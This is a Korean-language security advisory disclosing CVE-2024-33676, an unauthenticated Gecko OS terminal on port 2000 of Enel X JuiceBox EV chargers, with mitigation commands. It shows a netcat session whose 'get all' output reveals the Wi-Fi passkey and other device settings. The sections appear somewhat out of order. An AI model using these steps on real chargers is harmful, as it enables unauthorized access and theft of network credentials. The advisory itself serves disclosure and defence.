dersecure/cve-2024-33676CVE-2024-33676의 기술적 공개: Enel X JuiceBox EV 충전기의 약한 인증으로 인해 PII 추출, 설정 조작, 그리고 포트 2000의 Gecko OS 인터페이스를 통한 OS 파일 시스템 접근이 가능합니다.
Enel X JuiceBox Level 2 EV 충전기의 취약한 인증 및 권한 부여로 운영 체제 기능 및 매개변수에 접근할 수 있습니다.
로컬 EV 충전기 WLAN 네트워크에 있는 사용자는 PII를 추출하고, 설정을 변경하며, 운영 체제 파일 시스템을 조작할 수 있습니다. 이는 포트 2000의 로컬 Gecko OS 인터페이스에 있는 기능에 접근하여 수행됩니다.
이 정보는 2025년 7월 26일 BSides Albuquerque에서 발표되었습니다. 슬라이드는 여기에서 확인할 수 있습니다.
영향 받는 공급업체: Enel X Way 영향 받는 제품: JuiceBox Level 2 Charger
적용 범위: Enel X Way (이탈리아 유틸리티 및 에너지 대기업의 자회사) EV 충전기
영향 받는 버전:
JuiceBox Level 2 Charger Gecko OS 프로그래밍 인터페이스 악용:
제안된 CVSS 4.0: 9.3 / 심각
옵션 1: 원격 터미널 비밀번호 구성
> set re w R3411yG00dEVCh4rg3rPa@@word
> save
옵션 2: remote_terminal.enabled 매개변수를 사용하여 비활성화
> set re e false
> save
참고: 로컬 웹사이트가 이 명령 인터페이스를 사용하여 정보를 표시하는 것으로 보이므로, 이러한 설정을 수정하면 로컬 웹 서비스가 작동하지 않을 가능성이 높습니다. 예: gecko-os.js는 GET http://setup.com/command/get%20all을 사용합니다.
Jay Johnson at DER Security
(샌디아 국립 연구소의 Brian Wright에게 이 연구에 대한 지원에 특별히 감사드립니다.)
EV 충전기와 동일한 네트워크에 있는 경우, 공격자는 netcat을 사용하여 포트 2000에 연결한 후 Gecko OS API 명령을 사용하여 장비와 상호 작용할 수 있습니다.
예를 들어, Wi-Fi 비밀번호, 네트워킹 정보 및 기타 민감한 정보는 get all 명령으로 얻을 수 있습니다.
$ nc 192.168.10.30 2000
EMWERK-JB201-1.0.46, Gecko_OS-STANDARD-4.2.7-11064, WGM160P
> get all
get all
app.debug.auto_run: 1
app.debug.ignore_settings: 0
app.info:
SDK version : 11064
Name : JBox_BT_Final.app
Size : 274852
Running : 1
broadcast.data: mac,bssid,channel,ip,ssid,rssi,remote_terminal_port,time,version,uuid
broadcast.http.host:
broadcast.interface: default
broadcast.interval: 10
broadcast.udp.ip: 255.255.255.255
broadcast.udp.local_port: 55555
broadcast.udp.remote_port: 55555
bus.command.read_timeout: 250
bus.command.rx_bufsize: 4096
bus.command.write_check_enabled: 0
bus.command.write_timeout: 25000
bus.data_bus: uart0
bus.log_bus: uart0
bus.mode: command
bus.stream.cmd_gpio: -1
bus.stream.cmd_seq: $$$
bus.stream.flush_count: 1460
bus.stream.flush_time: 20
bus.stream.flush_time_reset: 0
dfu.logs_enabled: 1
dfu.status: 0
dms.auto_start_enabled: 0
dms.bundle_id: 5fed5727-e67a-4a58-a0e0-e5da68e7f3fe
dms.cmd.enabled: 0
dms.connection.host: dfu.zentri.com
dms.connection.port: 443
dms.connection.timeout: 20
dms.interface: wlan
dms.product_id: ab92e1d2-632a-4939-afea-160d6beaf65d
dms.provision.status: 3
dms.telemetry.adc_mask: 0x0000
dms.telemetry.data_mask: 0x03FF
dms.telemetry.gpio_mask: 0x00000000
dms.telemetry.interval: 0
email.name_address: 0910042001280661727222696131
email.smtp.host:
email.smtp.password:
email.smtp.port: 587
email.smtp.username:
ethernet.auto_start.enabled: 0
ethernet.auto_start.retry_delay: 3
ethernet.dhcp.cache_enabled: 0
ethernet.dhcp.enabled: 1
ethernet.dhcp.hostname: gecko_os-#
ethernet.dhcp.timeout: 15
ethernet.link_detected_timeout: 7
ethernet.link_local.enabled: 0
ethernet.link_local.timeout: 20
ethernet.mac: 38:5C:FB:3A:B5:D2
ethernet.multicast.address: 0.0.0.0
ethernet.network.dns: 0.0.0.0
ethernet.network.gateway: 0.0.0.0
ethernet.network.ip: 0.0.0.0
ethernet.network.netmask: 0.0.0.0
ethernet.network.status: 0
ethernet.network.status_gpio: -1
ethernet.static.dns: 8.8.8.8
ethernet.static.gateway: 0.0.0.0
ethernet.static.ip: 0.0.0.0
ethernet.static.netmask: 255.255.255.0
gpio.alias:
! # Alias
gpio.init:
! # Description
gpio.sleep:
! # Description
gpio.usage:
! # Description
# 1 SPI1 CS
# 8 GPIO out
# 9 GPIO ipu
# 10 GPIO out
# 11 GPIO out
# 14 GPIO out
# 15 GPIO out
# 16 SPI16 CS
# 17 GPIO out
# 19 GPIO out
# 20 GPIO ipu
# 21 GPIO out
# 22 GPIO ood
# 23 UART0 TX
# 24 UART0 RX
# 25 GPIO out
# 26 GPIO out
http.client.retries: 3
http.client.retry_period: 1000
http.server.api_enabled: 1
http.server.auth_title:
http.server.cors_origin: 17EMOTORWERKS00030
http.server.denied_filename: webapp/unauthorized.html
http.server.enabled: 1
http.server.interface: default
http.server.keep_alive_enabled: 0
http.server.keep_alive_timeout: 300
http.server.max_clients: 6
http.server.notfound_filename:
http.server.password:
http.server.port: 80
http.server.root_filename: webapp/index.html
http.server.tls_cert:
http.server.tls_enabled: 0
http.server.tls_key:
http.server.tls_log_clients: 0
http.server.tls_peer_cert:
http.server.tls_verify_peer: 0
http.server.username: nmrx11.com.attz
http.server.ws_connected_gpio: -1
http.server.ws_data_gpio: -1
ioconn.control_gpio: -1
ioconn.enabled: 0
ioconn.local_port: 0
ioconn.protocol: tcp
ioconn.remote_host:
ioconn.remote_port: 0
ioconn.status_gpio: -1
mdns.enabled: 0
mdns.interface: default
mdns.name: gecko_os-#
mdns.service:
http - disabled
tcp - disabled
udp - disabled
remote_terminal - disabled
mdns.ttl: 300
network.arp.lock_enabled: 0
network.arp.table_size: 8
network.bridge.auto_start: 0
network.bridge.info: state: down
SSID: Gecko_OS-#
channel: 0
clients: 0
network.bridge.interface_1: none
network.bridge.interface_2: none
network.buffer.control_size: 8192
network.buffer.rxtx_ratio: 50
network.buffer.size: 61440
network.buffer.usage: RX:00,TX:05
network.default_interface: wlan
network.dns.timeout: 6000
network.tcp.delivery_type: normal
network.tls.ca_cert: godaddy_ca.pem
network.tls.ca_cert_verify_enabled: 1
network.tls.client_cert:
network.tls.client_key:
network.tls.handshake_timeout: 15
network.tls.version: 12
ntp.enabled: 1
ntp.interface: default
ntp.interval: 3600
ntp.server: pool.ntp.org
remote_terminal.enabled: 1
remote_terminal.interface: default
remote_terminal.password:
remote_terminal.port: 2000
remote_terminal.timeout: 60
setup.auto.cmd:
setup.gpio.cmd: setup_web
setup.gpio.control_gpio: -1
setup.gpio.level: 1
setup.gpio.mode: gpio
setup.web.captive_portal_enabled: 0
setup.web.client_list: ! Connected: 0
setup.web.idle_timeout: 600
setup.web.passkey:
setup.web.root_filename: webapp/index.html
setup.web.ssid: JuiceNet-#
setup.web.url: setup.com,www.setup.com,connectivitycheck.gstatic…
softap.auto_start: 0
softap.captive_portal_enabled: 1
softap.channel: 0
softap.client_list: ! Connected: 0
softap.dhcp_server.enabled: 1
softap.dhcp_server.lease_time: 86400
softap.dns_server.enabled: 1
softap.dns_server.url: silabs.com,www.silabs.com
softap.hide_ssid: 0
softap.idle_timeout: 7
softap.info: state: down
SSID: Gecko_OS-#
channel: 0
clients: 0
softap.mac: F4:B3:B1:8A:56:C2
softap.mac_filter.enabled: 0
softap.mac_filter.info:
MAC Addresses:
softap.mac_filter.mode: whitelist
softap.max_clients: 4
softap.passkey:
softap.rssi_average: 0
softap.ssid: Gecko_OS-#
softap.static.gateway: 0.0.0.0
softap.static.ip: 10.10.10.1
softap.static.netmask: 255.255.255.240
softap.tx_power: auto
spi.master.active_gpio: -1
spi.master.active_level: 1
stream.auto_close: 1
system.activity.gpio: none
system.activity.gpio_level: 1
system.adc.vref: 3300
system.bflash.cs_gpio: -1
system.bflash.port: spi1
system.bootloader.fsb_version: 1.7.0
system.bootloader.ssb_version: 1.7.3
system.build_number: 231addee2
system.cmd.aux_bus: 0
system.cmd.buffered: 0
system.cmd.echo: 1
system.cmd.gpio: -1
system.cmd.header_enabled: 0
system.cmd.prompt_enabled: 1
system.cmd.timestamp: none
system.debug.coredump_enabled: 0
system.factory_reset.gpio: 16
system.factory_reset.level: 0
system.hfxo.enabled: 0
system.hfxo.status: 0
system.indicator.gpio: network:-1, softap:-1, wlan:-1, ethernet:-1
system.indicator.state: network:fast_blink|medium_blink|slow_blink, softap:static_off|fast_blink|medium_blink|slow_blink, wlan:static_off|fast_blink|medium_blink|slow_blink, ethernet:static_off|fast_blink|medium_blink|slow_blink
system.interface.ethernet_enabled: 0
system.interface.wifi_enabled: 1
system.memory.usage: 16
system.msg:
initialized - [@tReady]
stream_closed - [@tClosed: @c]
stream_failed - [@tOpen failed]
stream_opened - [@tOpened: @c]
stream_opening - [@tOpening: @h]
shutdown - [@tShutdown]
wlan_failed - [@tJoin failed]
wlan_joined - [@tAssociated]
wlan_joining - [@tAssociating to @s]
wlan_leave - [@tDisassociated]
softap_joined - [@t@m associated]
softap_leave - [@t@m disassociated]
ethernet_starting - [@tEthernet Starting]
ethernet_started - [@tEthernet Started]
ethernet_stopped - [@tEthernet Stopped]
ethernet_failed - [@tEthernet Failed]
system.oob.event_mask: 0x0000
system.oob.gpio: -1
system.oob.gpio_level: 1
system.oob.rising_edge_mask: 0x0000
system.oob.status: 0x0000
system.powersave.idle_timeout: 250
system.powersave.mode: 1
system.powersave.wakeup_gpio_level_mask: 0x00000000
system.powersave.wakeup_gpio_mask: 0x00000000
system.print_level: async_sys
system.safemode.console_timeout: 10
system.safemode.disabled: 0
system.safemode.ota_auto_retry: 1
system.safemode.sleep_timeout: 0
system.safemode.status: 0
system.shutdown.wakeup_gpio_level_mask: 0x00000000
system.shutdown.wakeup_gpio_mask: 0x00000000
system.shutdown.wakeup_timeout: 0
system.uuid: EADE2FF34483EEDC048C3224385CFBFFFE3AB5D2
system.variable_lock: 0x00
system.version: EMWERK-JB201-1.0.46, Gecko_OS-STANDARD-4.2.7-11064, WGM160P
tcp.client.auto_interface: default
tcp.client.auto_retries: 0
tcp.client.auto_start: 0
tcp.client.connect_timeout: 4000
tcp.client.local_port: 0
tcp.client.remote_host:
tcp.client.remote_port: 3000
tcp.client.retries: 1
tcp.client.retry_period: 1000
tcp.client.tls_enabled: 0
tcp.keepalive.enabled: 0
tcp.keepalive.initial_timeout: 60
tcp.keepalive.retry_count: 5
tcp.keepalive.retry_timeout: 5
tcp.server.auto_interface: default
tcp.server.auto_start: 0
tcp.server.connected_gpio: -1
tcp.server.data_gpio: -1
tcp.server.idle_timeout: 60
tcp.server.max_clients: 8
tcp.server.port: 3000
tcp.server.tls_cert:
tcp.server.tls_enabled: 0
tcp.server.tls_key:
tcp.server.tls_peer_cert:
tcp.server.tls_verify_peer: 0
time.last_set: 41
time.rtc: 1687816798
time.uptime: 197
time.zone: 0
uart.baud: uart0:115200,uart1:115200
uart.data: uart0:8,uart1:8
uart.flow: uart0:off,uart1:off
uart.parity: uart0:none,uart1:none
uart.powersave.mode: uart0:0,uart1:0
uart.stop: uart0:1,uart1:1
udp.client.auto_interface: default
udp.client.auto_retry: 0
udp.client.auto_start: 0
udp.client.local_port: 0
udp.client.remote_host:
udp.client.remote_port: 3000
udp.server.auto_interface: default
udp.server.auto_start: 0
udp.server.data_gpio: -1
udp.server.lock_client: 0
udp.server.port: 3000
udp.server.remote_host:
udp.server.remote_port: 0
wlan.antenna.select: 1
wlan.auto_join.enabled: 0
wlan.auto_join.retries: 0
wlan.auto_join.retry_delay: 10
wlan.backoff: ! # Ch Attenuation (dbm)
# 0 1 0,0,0,0,0,0
# 1 2 0,0,0,0,0,0
# 2 3 0,0,0,0,0,0
# 3 4 0,0,0,0,0,0
# 4 5 0,0,0,0,0,0
# 5 6 0,0,0,0,0,0
# 6 7 0,0,0,0,0,0
# 7 8 0,0,0,0,0,0
# 8 9 0,0,0,0,0,0
# 9 10 0,0,0,0,0,0
# 10 11 0,0,0,0,0,0
# 11 12 0,0,0,0,0,0
# 12 13 0,0,0,0,0,0
# 13 14 0,0,0,0,0,0
wlan.bssid: 00:00:00:00:00:00
wlan.coex.mode: 0
wlan.dhcp.cache_enabled: 0
wlan.dhcp.enabled: 1
wlan.dhcp.hostname: gecko_os-#
wlan.dhcp.timeout: 15
wlan.hide_passkey: 0
wlan.info: state: up
SSID: SaulsGWiFi
BSSID: 00:C0:<<REDACTED>>
channel: 6
datarate: 65.0
wlan.join.result: 1
wlan.join.retries: 3
wlan.join.timeout: 7000
wlan.link_local.enabled: 0
wlan.link_local.timeout: 20
wlan.mac: F4:B3:B1:8A:56:C1
wlan.multicast.address: 0.0.0.0
wlan.network.dns: 192.168.10.1
wlan.network.gateway: 192.168.10.1
wlan.network.ip: 192.168.10.30
wlan.network.netmask: 255.255.255.0
wlan.network.status: 2
wlan.network.status_gpio: -1
wlan.passkey: Iamtheonewhoknocks
wlan.powersave.listen_interval: 0
wlan.powersave.mode: 0
wlan.rate.protocol: auto
wlan.rate.transmit: auto
wlan.roam.threshold: -99
wlan.rssi_average: 0
wlan.scan.active_dwell: 75
wlan.scan.channel_mask: 0x07FF
wlan.scan.home_dwell: 50
wlan.scan.num_probes: 3
wlan.scan.passive_dwell: 110
wlan.scan.retries: 3
wlan.scan.type: active
wlan.security: Auto
wlan.ssid: SaulsGWiFi
wlan.static.dns: 8.8.8.8
wlan.static.gateway: 0.0.0.0
wlan.static.ip: 0.0.0.0
wlan.static.netmask: 0.0.0.0
wlan.tx_power: auto
GPIO 구성 읽기.
OCPP 구성 읽기.
HTTP 서버를 사용하면 장치에서 파일 시스템 대부분을 전송할 수 있습니다. 다행히도 stream_read를 사용하여 이진 데이터를 읽거나 http_upload를 통해 커널이나 .app 파일을 전송하는 것은 불가능합니다.
다음은 탐구되지 않았으나 추가 취약점으로 이어질 수 있습니다:
dms_claim 함수 참조.수정 사항이나 업데이트가 있으면 연락 주시기 바랍니다.